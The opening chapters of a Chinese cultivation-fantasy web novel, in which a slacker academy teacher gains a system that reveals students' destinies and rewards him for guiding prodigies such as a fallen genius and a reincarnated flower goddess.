《投资天骄百年,女帝称我为师》
第1章 书院夫子
“大衍之数五十,其用四十有九……”
不大的学堂里挤满了人,陆尘在台上侃侃而谈,席间的学子们却是昏昏欲睡,提不起半点精神。
人多并不是因为陆尘讲的好,只是他考核放水,比之其他夫子,结课要轻易的多。
“今日便讲到这里。”
陆尘话音刚落,席间的学子便是如鸟兽一般奔走,片刻离的乾乾净净。
看着空落落的讲堂,他并没有像其他夫子一般,露出那种恨铁不成钢的气愤之色,反而是扬起笑意,似乎是期待着这般场景。
两世为人,没有人比陆尘更懂要如何划水摆烂。
初到这个万族争锋,天骄纵横的世界时,陆尘也曾一腔热血,觉得自己是什麽天命之子,必定登临高位,指点江山。
但现实无疑是残酷的,历经多年,一介凡体且出身贫寒的他,只成为了名书院的夫子,从此开始划水摆烂人生。
每日讲学从不超时,每张考卷让狗踩一脚都能过。
其实以陆尘的修为,在大离王朝三大书院之一的白鹿书院执教,属实是有些勉强,毕竟他只有道台九步,而外院夫子,最低也要紫府之境。
此番世界共有五洲四海,广袤无比,常人终其一生,也难尽一洲半地。
修行之人以天地灵气为基,以之淬炼几身,使肉身不再孱弱,而後凝天地灵气於心海,修筑道台以累成紫府。
锻体丶凝气丶道台丶紫府 。
这便是修行之人的前四境。
踏入紫府境,已经算的上是一方宗师,有呼风唤雨,搬山移海之能,这时才有在白鹿书院传道授业的资格。
至於後面的境界,陆尘也有所耳闻,传言修行到高处,一指可碎星辰,一念可填沧海,但他觉得,以自己这低微境界,属实是没有看到那一幕的可能了。
陆尘停滞在道台九步多年,昔年凭藉九年义务教育的知识积累,政治经济学双管齐下,一番高谈阔论,连诓带骗的破例成为书院夫子。
多年过去,他深知自己一介凡体,再难精进,或许有缘踏入紫府,但想必也就到此为止了。
故而陆尘并无什麽远大志向,在这书院享着清福,未免不是人生。
白鹿书院是大离王朝三大书院之一,汇聚着王朝境内无数天骄。
有出身草根的微末少年,亦有世代富贵的大家子弟。
其中有向善好学者,亦有虚度光阴者,陆尘虽说向来躺平摆烂,但也因为其性格随性,有不少学子反而更愿意向其求问。
【您的系统已开启,请及时查收】
一道有些机械的声音忽地在陆尘脑海之中响起,他微微一愣,而後猛的惊起。
这是他朝思暮想的声音,以至於当它出现的时候,陆尘反而是有些不敢确信。
没有金手指的日子,那可是太煎熬了。
纵使陆尘多出一世的记忆,可是以这出身贫寒的一介凡体,能走的路终归还是有限。
他人各般神体气运加身,又有千百年底蕴的势力培养,哪能是说追上就追上的。
但当金手指到账后,一切都要好说。
“什麽系统?”
陆尘微眯了眼,抑制住内心欣喜问道。
【系统名为夫子】
【宿主可以为任何人传道授业解惑,行夫子之责】
【受教者的命格越重,受教后牵扯的气运越大,宿主所能获得的回馈奖励也越高】
【回馈奖励每日限一次】
“命格?”
陆尘呢喃一声,他曾在古书上见过相关记载。
世间万民,对人世万物的影响各有差异,有轻如鸿毛者,亦有重於高山者。
对世间万物影响的权重,便是所谓命格。
【为更好的行使夫子之责,宿主将会觉醒‘武道天眼’,可查看他人命格以及面临的困境】
【黑——将死之人】
【红——大凶之兆】
【白——平淡无奇】
【黄——小有成就】
【蓝——修行大能】
【紫——至尊之位】
【金——帝路争锋】
【彩——称帝道祖】
【无相——气运不定】
“你还真贴心。”
陆尘不自觉的调侃道,他刚刚还在担心,如何才能知晓他人命格,系统就送来这麽个大礼。
“今日还有两堂课,倒是可以瞧瞧看。”
他再度席地而坐,细细品了品桌上的茗茶。
…………
学堂很快又挤满了人,陆尘随意发了份考卷,而後打开【武道天眼】,查看起在场学子的命格。
【
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姓名:李凌】
【年龄:二十一】
【境界:凝气境二重】
【命格:白色】
【生平:家境清寒,不甘命运摆弄,奋发向上,但资质有限,心性急躁,忙碌一生,未有成就】
【近期境遇:不顾体质强求突破,使自身经脉受损,落下病根,需一枚易经丹方可治愈】
…………
【姓名:张燃书】
【年龄:二十三】
【境界:凝气境七重】
【命格:红色】
【生平:衣食无忧的富家子弟,小有天赋,但为人嚣张跋扈,心狠手辣,将因此而遭受大凶之灾,渡过九次大凶之兆后,命格转变为黄,未渡过则转黑,身死魂灭。】
【近期境遇:命跟班抢了路边乞丐的破碗,乞丐真身是红尘渡劫的大能,梦醒后或将清算。】
…………
【姓名:言重】
【年龄:二十二】
【境界:凝气境五重】
【命格:黄色】
【生平:虽出身贫寒,但一生勤勉,脚踏实地,加之天赋出众,将小有成就,或任一宗长老,或任一城之主。】
【近期境遇:接取书院任务,将要猎杀二阶妖兽,正在挑选合适武技】
“最高也才黄色吗?”
陆尘略微皱了皱眉,白鹿书院是大乾王朝三大书院之一,汇聚着无数天骄,此地虽只是外院,但也是王朝境内百亿生灵梦寐以求之所,结果在武道天眼看来,最高䭾也不过是黄色而已。
每日的回馈奖励只有一次,陆尘并不想轻易的用出。
“对了,林炎怎麽未到?”
再度扫视了一圈讲堂里的学子,陆尘开口问道。
林炎是外院天骄榜的第一人,陆尘觉得他的命格或许会高过黄色。
“夫子不知道吗?林炎灵气不知因何倒退,跌落到凝气三重,已经数月未出门了。”
“据说皇室的那位公主,不日将要亲自来退婚。”
鹅蛋脸的绿衫少女回道。
听到少女这麽一说,陆尘忽地一愣。
“灵气倒退又要退婚?”
怎麽听着这麽耳熟呢?
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第2章 一方至尊
竹林小屋前,青衫男子轻轻叩了叩门,而後带着明显期待的眼神,负手而立。
竹门推开,走出位面色有些苍白的消瘦少年。
“夫子怎麽来了?”
少年有些惊讶的问道,神色十分复杂。
“来看看你,不请我屋里坐会吗?”
陆尘笑问道。
“夫子请,是林炎唐突了。”
林炎慌张而语,挤出个生硬笑容,与陆尘入屋,席地而坐。
看得出来少年的心境不佳,但是对於夫子到来,还是强行打起精神,以笑待之。
“果然……能被退婚的,都不是什麽正常人。”
打开武道天眼查看少年气运后,陆尘在心底自顾自的呢喃而语。
【姓名:林炎】
【年龄:十七】
【境界:凝气三重】
【命格:紫色】
【生平:林氏大族之子,与皇室公主早有婚约,自幼天赋出众,根骨极佳,但会经历一段灵气回退的低谷期,待遇到命定之师后,将如游龙离渊,扶摇直上,此後平步青云,成一方至尊,掌无尽异火】
【近期境遇:灵气被一块母亲所留的灵石吸收,其间栖息着大能残魂,在吸收灵气后,可用唤灵之术唤起,因灵气流失,境界跌落,将遭到皇室公主退婚】
紫色,一方至尊之命。
是陆尘看到现在,所发现的最重命格。
照理来说,以林炎的出身与天赋,大可以直接入内院修行,但当年入学考核时,他莫名失利,而後又不愿借家族之势,因此才在外院修行。
如今看来,当年的那场失利,想必也是因为灵石中栖息的大能残魂所致。
“最近不太顺心?数月未见你来学堂了。”
陆尘按捺住心中激动,脸色平淡而语。
“夫子不知道吗?我还以为已经人尽皆知了。”
林炎露出有些苦涩的笑,自嘲说道。
“我从凝气九重接连跌境,如今只有凝气三重的实力了,无论我如何修行,灵气也毫无精进,反倒是持续的倒退,再过半年,或许要跌到锻体之境了。”
他叹了口气,眼眶通红。
从天之骄子一朝沦为平庸之辈,对於少年人来说,很是难接受。
即便是林炎这般向来稳重之人,话语间,也不免带着丝许的悲鸣之意。
“这样啊……”
陆尘摆出一副沉思模样,沉默良久后抬起头。
“我曾在古籍中,见过与此相似之事,或许可以助你一二。”
话音刚落,林炎便是如垂死之人惊坐而起一般,紧张而又激动的看着陆尘。
在林炎看来,夫子虽然境界不高,但学堂所讲之道,大多是自己闻所未闻,但一听又如震耳欲聋。
若是旁人说相助,林炎可能会不抱希望,但眼前的夫子这般说,他倒是觉得真有可能。
“不知你身边可有奇异之物?”
陆尘故意这般问道。
“奇异之物?”
林炎露出些许疑惑神色,思索片刻后,从怀中取出一块灵石。
灵石晶莹剔透,散发着丝丝许许的光辉,隐约间带着灵气波动。
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“这是我母亲所留之物,我一直带在身上,但除了越来越亮之外,并没有任何奇异之处。”
林炎眼神中流露些许追忆之色,似乎是想到了逝世的母亲。
“应该就是此物了,你去藏经阁换本唤灵之术的秘籍,对这灵石施展,或许会对你有帮助。”
陆尘说完便是起身,不再停留。
“多谢夫子指点。”
林炎赶忙收起灵石,将陆尘送至门外,而後朝着夫子离去背影,深深行礼。
这短短的数月,他已经十足的领略了什麽叫做世态炎凉,人情冷暖。
曾经那些好友红颜尽数远去,甚至是落井下石,要踩着他这曾经的外院天骄榜第一登顶。
就连自己的老师,在为自己寻求解困之法无果后,也变得冷淡了很多。
反倒是点头之交的夫子,愿意在自己危难之际拉自己一把。
“夫子恩情,林炎谨记於心。”
无论陆夫子所言是否有用,林炎都已将这份恩情铭记,不敢相忘。
雪中送炭,远远比锦上添花,令人难忘的多。
…………
隐於山峰上的木屋间,陆尘闭目养神,感受着耳边拂过的清风。
在指点完林炎后,陆尘并没有立即收到系统的回馈奖励,想来是要等受教者摆脱困境,才能领取回馈奖励。
他也并未着急
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,回到自己的栖息之所,悠闲平躺。
以林炎的天赋,一天之内定能领悟唤灵之术,算算时间,也该要将那吸食灵气的大能残魂唤醒了。
【夫子之责行使完毕】
【宿主将获得大量回馈奖励】
【一:百年修为】
【二:地阶上品心法《大炎焚心》】
【三:天阶下品武技《大荒星陨指》】
机械声如愿在陆尘的耳边响起,在他听
来,如同是仙乐一般悦耳。
看完系统的回馈奖励后,陆尘的呼吸变得十分急促,他属实是没想到,这个回馈奖励会这麽丰厚。
心法为灵气的内在运转之法,一本好的心法,足以使修行之人的灵气增长呈百倍千倍之态。
而武技则是灵气的外在施展之法,或移山搬海,或变化万千,总之是各有玄妙。
武技与心法由其品质从高到低,分别为天丶地丶玄丶黄。
而每一阶又有上中下品之分。
其中大多数修行者修行的都是黄阶秘籍,一些宗门书院的子弟,则可以通过各种途径修行玄阶功法。
至於地阶秘籍,已经是大多宗门书院的镇馆之宝,除非有大功绩在身,否则难以取得。
而天阶秘籍,至少在大乾王朝境内,陆尘还从未听过有人拥有。
哪怕是大乾皇室,他们的皇家绝学也不过是本地阶中品武技,连天阶秘籍的边都摸不到。
若是这奖励的武技与心法放到外界,定是能掀起一阵腥风血雨,不知使多少人为之身死。
心法要比武技贵重稀有的多,一本地阶上品的心法,并不会比天阶下品的武技要差。
“大荒星陨指……将灵力倾注於指尖,勾动荒芜之力,以指点碎诸星。”
光是看着秘籍简介,都是令陆尘本就激动之心再度泛起涟漪。
他现在所修行的武技心法,都只是玄阶中品,就这还是他花费了好大劲才从藏经阁中兑换。
若是换上地阶心法以及天阶武技,哪怕抛去那百年修为不谈,陆尘也有信心依靠自己突破道台境。
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第3章 一步紫府
粗略的感知了这两本秘籍,陆尘便是静下心来,开始吸收回馈奖励的百年修为。
虽说他已经有信心依靠自己突破道台境,但属实没必要。
陆尘盘腿而坐,闭目凝神。
山峰上的木屋中,在同一时刻涌现出无数的白光,带着激荡的灵气融入陆尘身体之中。
白光涌入,陆尘只感觉一股热流在心中涌动,如同是春日的细雨一般,将全身上下浇灌。
与此同时,心海之中停滞多年的九步道台,也终於发生变动。
只见有一个白光汇聚成的虚影小人,从道台的最底下开始迈步,一连九步,一瞬间便是站到了顶点。
原本空无一物的顶点在小人到来后,竟然凭空出现了一座紫雾缭绕的仙府。
仙府并不完全,仅仅有一层之基,但因为紫雾缭绕,也显得极为出尘缥缈,令人望而神往。
陆尘缓缓睁开双眸,月光已是洒落木屋之中。
他凭空一抹,一面水镜便是浮现在自己的面前。
只见镜中的男子已经再无丝毫颓然之态,反倒是英姿勃发,如同是少年人一般。
他的周身紫气环绕,更是显得镜中之人玄妙缥缈,如同临世仙人。
“筑成紫府客,方是我辈人……”
陆尘长叹了口气,难怪自古以来,修行界便有如此的古话。
一到紫府之境,无论是肉身亦或是感知,都已经与先前天差地别,属实已经是两路人了。
他摇了摇头,将杂念甩开,如今有金手指傍身,他要走的路,已经不再是一眼能看到头了,倒也无需因为踏入紫府之境而大喜。
“大炎焚心……”
陆尘再度打坐,修习起这本地阶心法。
淬炼灵气为火,以之焚心,可得大炎之气。
…………
沉入於修行之中的陆尘并不知晓,因其突破所致,九天之中莫名的出现极为浓厚的紫气,犹如是浓雾一般,挥之不去。
内院,长老阁。
“看来今年这批娃娃里面,出了个了不起的人物啊。”
“引出这般异象,却还能藏锋守拙,将自身气息遮掩,不骄不躁,可谓善矣。”
两鬓斑白,却依旧仙风道骨的书院祭酒端坐在首位,心情大好的感叹道。
成紫府者可引天地紫气东来,天地紫气越浓郁,便代表着突破之人在紫府一境的潜力越大。
而此刻九天之中布满紫气,此般景象,饶是见多识广的书院祭酒,也闻所未闻,见所未见。
“内院弟子中能有这般气象者,我猜是那王氏麒麟儿。”
有一长老开口道。
“我倒觉得应该是天骄榜第一的林玄言,他不是道台九步停滞许久吗,如今一飞冲天,来日定能龙跃九天。”
场下当即争论起来,各方长老都点出自己看好的人选,信誓旦旦,不肯退步分毫。
“好了,别吵了,无论是谁,都是我白鹿书院之幸,既然其不愿显露,你等也别动什麽手段去探查。”
祭酒高声而语,场下瞬间一片安静。
“有此人物,此届大离演武,总不至於在三大书院垫底咯。”
祭酒又是自嘲的笑了笑,大离演武,乃是汇聚大离皇朝中各番势力年轻一辈的试炼,近几届中,白鹿书院接连在三大书院之中垫底,原些并驾齐驱的三大书院,白鹿书院已是隐隐有掉队之险。
…………
天一大早,陆尘便是赶来了学堂,顺道寻了数位夫子,十分通情达理,乐於助人的提出代课的请求,其他夫子自然是十分乐意,满心欢喜的带上俗世的碎银下山,以行勾栏听曲之乐。
这当然不是陆尘善心大发,只是为了多观测各堂课上的书院学子,以此找准自己传道解惑的目标。
书院占据大离皇城外的一连片灵脉之地,单单是外门学子,便是有上万之数,若只上自己的课,能观测的人属实还是少数。
故而陆尘找的都是一些教授基础课的夫子,诸如《妖兽起源论》丶《炼丹入门法》以及《炼器基础法则》等学子众多,并且陆尘足以应付的课程。
将这些基础课执教完,大体可以观测完九成的外门学子了。
“怎麽来的这麽晚?”
陆尘朗声而问。
课上了半程,学子们才陆陆续续的到齐。
白鹿书院学风严谨,哪怕是这些公共课,也少有人会晚到。
但这堂课却是有大半人晚到,想必是发生了什麽大事。
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“夫子见谅,皇室公主亲自来退婚,不小心多看了眼。”
有些憨厚的圆脸少年低头说道。
“林炎好像还不服气,嚷嚷着什麽三十年河东三十年河西的话,听着倒令人好笑。”
“唉,曾经也是一代天骄,沦落到如今这般地步,竟是被女子当众退婚,要是我的话,现在就跑去天绝峰往下跳了。”
天绝峰是书院的最高峰,历年来都有不少学子,因各种原因从其
上一跃坠崖。
也曾有夫子建言要将此化为禁地,以免学子坠崖,但都被祭酒否决。
“若连生的意志都没有,活着作甚。”
祭酒曾在大会上如此说道。
“世事难测,你又怎知他今朝坠入谷底,他日不会龙腾於渊?”
陆尘目光投向出言讥讽的学子,面色严肃而凝重。
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> “青帝百死,而问鼎帝路,苍羽未曾一胜,然古史有名。”
青帝与苍羽,都是古籍曾记载的大修士,有经天纬地之能。
“比起讲堂上的这些东西,我希望你们先能学会的是敬畏。”
“大千世界,无奇不有,保持敬畏,会让你们活的更久,走的更远。”
说完这些,陆尘也不再多讲,听不听得进去是他们的事,与自己已经无关。
“炼药之道,其一在於灵气,其二在於药材。”
他随意讲着课,而後打开武道天眼,扫视着在场的学子。
【姓名:白丹】
【年龄:二十二】
【境界:凝气境二重】
【命格:黄色】
【生平:修行世家之女,骄横跋扈,行为乖张,但在其父离世后被逐出家门,自此醒悟,最终自立门派,受万人敬仰】
【近期境遇:其父身死数月,但并未收到任何消息】
……
【姓名:赵文吴】
【年龄:二十一】
【境界:凝气三层】
【命格:黄色】
【生平:人世富贵之家子弟,酷爱史书典籍,心性纯良温和,天赋出众,加之有家族财力支撑,虽非出自修行世家,但亦小有成就,最终成王朝帝师】
【近期境遇:家族虽财源广进,日益兴隆,但当地宗门贪得无厌,得寸进尺,要徵收以往数倍钱财】
……
【姓名:宴山东】
【年龄:二十六】
【境界:凝气三层】
【生平:前半生为平庸之辈,碌碌无为,年老之时,一朝悟道,自创拳法,成一派宗师】
【近期境遇:受同门辱骂欺凌,接受自己平庸的事实,心气消散】
……
半日下来,陆尘将黄色命格以及一些以往感观不错的学子一一记录在册,若是再没有瞧见更高命格的学子,陆尘便打算从名册上开始。
一路看了数千名学子,但在武道天眼看来,却不过寥寥几人是黄色命格。
可想而知,这所谓的大乾王朝,放在整个大千世界之中,还是过於的狭小。
“夫子,稍等。”
就在陆尘正欲赶往下一间讲堂时,一道清脆的女声在身後响起。
他转过头,看到了位黄衫轻衣的少女。
少女虽然年纪尚幼,但明眸皓齿,波光流转间,有倾国之色,宛如花间凝露,轻盈而透彻。
“这是前日借阅之书,劳烦夫子了。”
她将一本古籍递给陆尘,嘴角带着浅浅笑意,有一种夏花绽放之感。
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第4章 少女的名字
少女名唤寇筱筱,陆尘记得她初入书院并不久,是在去年初春之际入学。
与外院诸多得过且过的学子不同,少女要认真努力的多,无论是修行还是学习,都是十分刻苦,就连陆尘这般的水课,少女都会借阅笔录,好好的准备一番。
不过少女的资质似乎有些愚钝,从未登上过那天骄榜。
陆尘给少女开过不少小灶,但也并无作用,似乎是少女资质使然,能到达的境界终究是有限。
不过以少女这般天姿国色,哪怕修为低微,想必也有不少天骄为之挣破脑袋。
“夫子是破境了吗?怎麽觉得年轻了许多?”
少女眼中闪着亮光,歪着头好奇问道。
“侥幸而已。”
陆尘笑着接过书籍,本能的打开武道天眼,查看少女命格。
【姓名:寇筱筱】
【年龄:一十六】
【境界:锻体八层】
【命格:紫金之色】
【生平:百花神女轮回之人,将在一十八岁时,初入东院百花谷,拾得一块灵石,因此觉醒前世记忆,自此气运加身,一路高攀,重临巅峰之境】
【近期境遇:内院学子牧云贪图其美色,求之不得,今夜欲用药】
“夫子……我脸上有何污秽吗?”
见到陆尘那直直盯着自己的目光,少女双颊上不免是升起一抹羞红,有些羞涩的小声问道。
“没有,没有。”
陆尘连忙摆手,林炎身负大气运他有所预料,但是眼前少女的气运如此之重,倒是出乎陆尘预料。
紫色为至尊之相,而金色为帝路争锋之人,少女紫金之色,想必是远超寻常至尊,有资格去那帝路争锋。
相较起来,更是要比林炎气运还重,也怪不得陆尘会两眼放光,使少女娇羞。
“百花谷近日花开,与我观赏一趟如何?”
陆尘想了想问道。
既然少女初入百花谷便能拾取灵石,那麽提前两年,应该也是可行。
他当下心情有些躁动,林炎紫色气运给予的奖励已经那般豪华,少女的紫金色气运会带来很种奖励,陆尘万分期待。
“花期不是早过了吗?”
少女虽未曾去过百花谷,但也有所耳闻,如今已近深秋,早已不是百花花期。
“不过夫子相请,筱筱自然不敢推辞。”
寇晓晓露出天真烂漫的笑意,属实还是位涉世未深的懵懂少女。
陆尘尴尬笑了笑,当即带着寇晓晓往百花谷去,一路上不少人投来异样目光,他都只当没看见。
原以为少女会更为羞涩,却没想她嘴角嫣然,如花而绽。
东院相离学堂甚远,加上书院内非栖息之地禁踏空之术,二人只能是漫步而行,走了半个时辰左㱏。
百花谷已是百花凋零,没有半分人迹,大有一副秋风落寞之相。
但这般枯寂景象并未令少女不满,仍旧是脸带笑意的与陆尘漫步园中。
少女怀春时,总是如四月的芳菲桃花一般,有风一吹过,便红透青天。
“夫子,稍等片刻。”
约莫行至半程,少女忽地蹲下身,雪白玉手扫开脚底落叶,心有所感的拾起一块被掩埋在其中的石子。
那是块十分普通的青石,至少在陆尘看来,与寻常石头并没有什麽两样。
少女却是紧紧将石子捧在手心,眼神呆滞,像是陷入了什麽长久的回忆之中。
良久后,泪自眼角流下,打湿青石。
百花一瞬而开,刹那间,花香四溢。
陆尘站在少女身旁,并未出声。
他能感受到,天地之间的灵气在一瞬之间充盈起来,此刻好似是踏入一片灵气铺满的汪洋之中。
“夫子见谅,筱筱身体突有不适,改日再伴夫子左㱏。”
良久后,少女站起身,用衣袖擦乾眼角泪痕,施施然向陆尘行礼。
“无妨,我送你回去吧。”
“劳烦夫子了。”
陆尘知晓少女已然是发生了些令人惊奇的变化,但系统并未提示,显然这仙人魂魄的觉醒并未完全。
…………
明月高悬,陆尘倚在大树枝干上,目光远望。
目光落脚之处是间竹林小屋,屋外挂着诸多风铃,风一吹过,便有飒飒作响之声。
虽说寇筱筱疑似已经觉醒,但陆尘也并未放心,而是在远处暗中注视着。
按武道天眼所察觉,今夜会有一名为牧云的内院弟子前来,一旦其有异动,陆尘便会立即现身。
紫府境的灵力感知下,哪怕尚在远处,他人的一举一动也能尽数感知。
“还真来了。”
看到那鬼鬼祟祟的男子身影,陆尘呵呵一笑。
书院男女有别,这内院的家伙恐怕是花了不少钱财偷溜进女子学员们的居所。
“寇姑娘,牧某有事求见。”
“不见。”
屋内声音清冷,给人一股十足的寒意。
“恕牧某打扰了,这便离去。”
一抹狠厉之色从牧云眼底掠过,他从怀中取出一柱香
,当即将其点燃。
“花了老子大半身家求得的七品龙涎香,今晚不弄死你。”
香气自竹门缝隙流入,时间缓缓流逝,半柱香已是燃尽。
“寇姑娘?寇姑娘?”
见到门中无人回应,狂喜之色当即浮於牧云脸上,他赶忙撞门而入,欲行不轨之事。
只是门内等待他的,并不是什
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麽温柔乡,而是提着长剑,面色冰冷的少女。
牧云愣在原地,还未反应过来发生什麽,少女便是身影闪动,而後一剑划过,令其颈脖之处多了一道剑痕,当即身死而道消。
正欲起身的陆尘当即停下,也是有些震惊的看着眼前一幕。
牧云身为内院天骄,已踏入道台之境,而寇筱筱不过锻体之境,却能一剑将其诛杀,属实有些惊人。
“不愧是仙人魂魄。”
陆尘忍不住的惊叹一句。
“等等……她在看向我?”
就在陆尘惊讶之际,却发觉少女已经踏出门外,目光向远处眺望。
而那道满是寒意的目光落脚之处,正是陆尘所在之地。
少女脚步轻点,下一刻便是站到了陆尘面前的树枝上。
她将长剑抬起,剑尖直指陆尘。
血自剑尖滴落,将树枝染上些许鲜红颜色。
月光打在她的脸上,令陆尘觉得有些陌生,像是变个人似的。
陆尘回忆起少女娇俏的笑脸,恍惚间,竟觉得那是很久以前的事了。
他叹了口气,掌心灵气凝聚,有天阶武技在手,陆尘倒也不惧,毕竟即便前世记忆觉醒,仙人魂魄回归,寇晓晓也不过是锻体之境,总归是受此境界的桎梏。
出乎陆尘的预料,少女并未动手,而是面色有些痛苦的拚命摇头,慌乱的将手中带血的长剑抛落。
片刻后,她的脸上重新浮现陆尘所熟知的神情。
“夫子,筱筱今夜恐怕就要离开书院了,往日关照,筱筱不敢忘怀。”
她面色有些痛苦,像是溺水的人在拚命挣扎一般。
“还望珍重。”
陆尘顿了顿,有些许愧意的说道。
仙人魂魄苏醒,对少女是福,但也许也是祸。
若是被前世人格主导,那自己还算是自己吗?
或许会走的更远,但走的人是谁呢?
想到此处,陆尘不免想起白日少女那天真烂漫的笑意。
也不知道能否再见了。
“多谢夫子为我守夜,若是来年有缘再见,夫子莫忘了我的名字。”
“我叫寇筱筱。”
少女心有所感的这般说道,话语间带着些许悲伤之意。
就好似这个名字将要被埋藏在烟尘之中,随风而消散。
少女眼角落下的泪早已打湿黄衫轻衣,还未等陆尘作答,寇筱筱便施施然再行一礼,而後就此离去,只留下满地月色。
陆尘在原地愣神良久,只觉得问心有愧。
…………
【境界:锻体丶凝气丶道台丶紫府丶上阳丶太阴丶神游丶封侯丶封王,此即前九大境界】
第五章 麒麟玉影
【夫子之责行使完毕】
【宿主将获得大量回馈奖励】
【奖励:花神之蕊(此乃百花仙子本源之力淬炼而成,吸食者自此後,万毒不侵,不受巫蛊之乱)】
随着寇筱筱的离去,系统那有些机械的提示音终於缓缓响起,陆尘从莫名有些悲伤的心境之中抽离出来,当下隐匿气息,返回自己的竹屋之中。
洁柔的白色光芒在陆尘㣉定之後缓缓升起,而後一点点的绽放开来,就好似是一朵朵的花蕊盛开一般。
陆尘的心境亦是达到前所未有的平静,恍如漫步於百花丛中,除开那沁人心脾的百花香气外,心中再不念想他物。
此时其心海之中,亦是有一朵花蕊缓缓绽放,引得心海之中的灵气因之而激荡不已,如同巨浪遇到狂风一般,不断的奔涌澎湃着。
那九重道台之上紫气缭绕的紫府,沾惹上那白光后,一时间也是显得极为圣洁。
陆尘虽感受不到境界的丝毫提升,却是清楚的知道自己的灵气在这花神之蕊的滋养下,与以往相较,已是纯净百倍。
以往催动那天阶功法或许要耗费近乎九成的灵力,但在这花神之蕊的滋养下,只需三成即可,这般质变,可并不是简简单单的境界可以衡量的。
“等等,还有变化……”
就在陆尘不再感受得到灵气的提纯时,却悄然的发现心海之中又生出了些许的变化,有不同於花蕊的柔光在一瞬之间涌出,那是如玉般洁白的光,彷佛世间一切的尘灰都沾惹不到其分毫。
那光芒闪烁,透露出一股至圣至洁的气息,陆尘的五感随那光芒的涌动而猛然消失,当他等再度感受到周身的一切时,只见有一枚麒麟状的玉盘旋在心海的正中央,哪怕是那花神之蕊,也离得其远远的,好似是被其威压所迫一般。
“这是什麽……”
陆尘满头雾水,其心海之中的这枚玉并没有实形,仅仅只有一道虚影,他可以感觉得到,这枚玉缺失了什麽很重要的东西,并不完整。
“算了,先不想了。”
思索良久,仍不知这枚麒麟玉影从何而来,也不知这枚麒麟玉影有何作用后,陆尘只能暂且作罢,㣉定冥想,再度感受那花神之蕊的滋养。
…………
寇筱筱的离去本身并未引起多大的风波,只是那内院弟子牧云不明不白的死在其屋前,倒是引起了书院的不少闲谈,有好事者更是绘声绘色的编排着一些污言秽语,都被陆尘暗地里好好的敲打了一番。
对於此事,身为王都豪门的牧家自然是不肯善罢甘休,派出大能来到书院,执意要讨个说法。
书院长老们大多知晓那牧云秉性,猜得到他是咎由自取,但毕竟牧云死在少女屋前,总该有个说法。
当下只能是派出位紫府境修士,与牧家护卫一同下山,搜寻寇筱筱的下落。
陆尘对此倒是并不担忧,反而是唏嘘那牧家护卫,真要找到了少女踪迹,恐怕是死期将至。
接下来的半月中,陆尘靠着替各科夫子代课,已然将外院学生观察了个九成九,其中大多数是白黄之色,只有一二人有蓝色气运,被公认为种子选手,铁定能在下一次选拔中进入内院。
陆尘对此倒并不意外,要知道这个世界何其广袤,生灵不知凡几,可称至尊者却寥寥无几,更别说那虚无缥缈的帝者与道祖了。
白鹿书院的外院竟然有人能身负此等气运,已然是出乎了陆尘的意料。
至於将死之人的黑色气运,陆尘倒是从未见过,据他猜测,黑色气运恐怕代表着无可改变的死亡命运,而红色气运虽说是大凶之兆,但仍有一线生机。
陆尘也曾见过几位红色气运的倒霉蛋,不过遭受那大凶之兆,这几位大多是咎由自取,要麽是欺负什麽渡劫之中隐去记忆与修为的大能,要麽是嚣张跋扈惯了遇到了更嚣张跋扈的公子哥。
对於这些人,陆尘自然也未好心出言提点。
这些日子,他按照自己的名
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册,从蓝色气运的弟子到黄色气运的弟子,一个个的接连指点,偶尔遇到看的顺眼心性纯良的弟子,哪怕是白色资质,陆尘也会指点一二。
久而久之,陆尘在外院弟子中已经有个活菩萨的称号,加上原些考核就总是放水,如今已是深度书院弟子爱戴,弟子们遇到别的夫子那是老鼠见了猫,唯恐避之不及,倒见到陆尘,即便是千百米开外,也会屁颠屁颠的跑过来问一句“夫子好”。
“最後一个了,是时候去内院瞧瞧了。”
陆尘将名册上最後一个弟子的名字划去,轻轻叹了一声。
除开林炎与寇筱筱外,外院弟子的天赋确实并不高,但或许是大家大多出身寒门,身上总有一些如野草般的韧性,哪怕被狂风不断捶打着,也始终保持着旺盛的生命力。
内院弟子无非两种,一种是天资过人,一种是家世过人,而外院弟子们,尽管背井离乡的来到这大离王朝三大书院之一的白鹿书院,在乡亲们眼中已经是万中无一的天才,可只有他们自己才知道,在这天骄齐聚的书院之中,犹如浮尘般渺小。
对於这些漂浮而又坚韧的弟子
们,陆尘总是抱着最大的善意与他们相处,哪怕系统并不会给予任何的奖励,陆尘也并不觉得指点他们是什麽麻烦事。
如今想到要离开这待了十多年的外院,陆尘不免是一阵感慨。
“尘哥儿,尘哥儿。”
叩门声在陆尘思绪翻飞之际响起,只见有一人还未等陆尘回应,便是推门而入。
那是一位一袭白衫的夫子,胸口处挂着一枚白鹿书院的金色徽章,象徵着其身份是位内院夫子。
“呦,今日吹的甚麽风,你这大忙人也有空找我了。”
见到来人,陆尘哈哈大笑起来,起身迎接。
二人相视,一时间都有些恍惚,相隔不过几个山头,却已有近十年未相见了。
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第六章 大离五侠
来人名唤赵拓,是如今内院最年轻的夫子,年不过百,已是上阳境界。
“尘哥儿说笑了,内院事务繁杂,确实有些忙不过来。”
赵拓微微摇头,一举一动间,确实有股风流倜傥之气。
二人相识甚久,年少之时便结伴游离王朝境内,此外还有三人,昔年五人义结金兰,同游於名山大川,路见不平,拔刀相助,被世俗江湖人士称为“大离五侠”,只是後来因为修行一事,逐渐分道扬镳,再不复从前的江湖岁月。
当年陆尘与赵拓一同拜入白鹿书院,初时还是吃同食,寝同席,直到後来赵拓天资展现,在书院中逐渐崭露头角,一步步迈入内院,登临天骄榜。
而陆尘却依旧默默无闻,泯然众人之中。
两人自那时起,便已经是慢慢疏远。
再後来,赵拓踏入上阳境,成为白鹿书院有史以来最年轻的内院夫子,陆尘则是靠着坑蒙拐骗才得来一个外院夫子,二人虽同处一地,却未有任何往来。
昔年并肩而行,生死与共的挚友,如今已经与陌生人无异。
陆尘本就是个随性洒脱之人,知晓这段关系早就散了,对此也并不勉强,悠闲自得的待在外院。
如今见着赵拓前来,倒是有些吃惊与感慨。
“那今日怎的舍得那些杂务呢?”
陆尘笑了笑问道。
“哎,你知道二哥,小妹他们的消息吗?”
赵拓无视陆尘的打趣,转而问道。
昔年五人之中,陆尘排行第三,赵拓排行第四,大哥许端多年前因意外离世,直接导致四人各奔东西,陆尘与赵拓拜入白鹿书院,小妹被大炎皇朝的某个势力带走,二哥则是不知所踪,了无音讯。
“莫清寒是在大炎皇朝的冷月宫吧,二哥倒是许多年没有消息了。”
陆尘皱了皱眉说道。
皇朝与王朝虽只有一字之差,两方底蕴,却是有天壤之别,哪怕是白鹿书院这种传承悠久的仙门,放到大炎皇朝中,也毫不起眼。
